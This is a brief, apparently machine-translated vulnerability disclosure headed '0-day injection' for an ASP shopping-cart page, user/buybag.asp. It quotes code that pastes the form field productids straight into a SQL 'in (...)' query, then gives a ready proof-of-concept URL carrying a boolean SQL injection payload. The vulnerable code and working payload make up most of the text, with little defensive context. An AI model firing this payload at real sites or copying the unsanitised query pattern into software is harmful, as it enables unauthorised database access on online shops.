0-day injection

User/buybag. asp
Starting from 40 rows
If request. Form ("action") = "makeorder" then
Dim productids, orderrs, bagrs, orderdetail, ordernumber, expresscompany
Productids = delheadandenddot (request. Form ("productids") // This function removes the comma (,) from the beginning and end.
Set orderrs = server. Createobject (g_fs_rs)
Set bagrs = server. Createobject (g_fs_rs)
Set orderdetail = server. Createobject (g_fs_rs)
Orderrs. Open "select * From fs_me_order where 1 = 2", user_conn, 1, 3
Bagrs. Open "select mid, buytype, addtime, usernumber, buymoney, buynumber from fs_me_buybag where mid in (" & productids & ")", user_conn, 1, 1
Injection occurred in !!
User/buybag. asp? Action = makeorder & productids = 1 and 1 = 1) and (1 = 1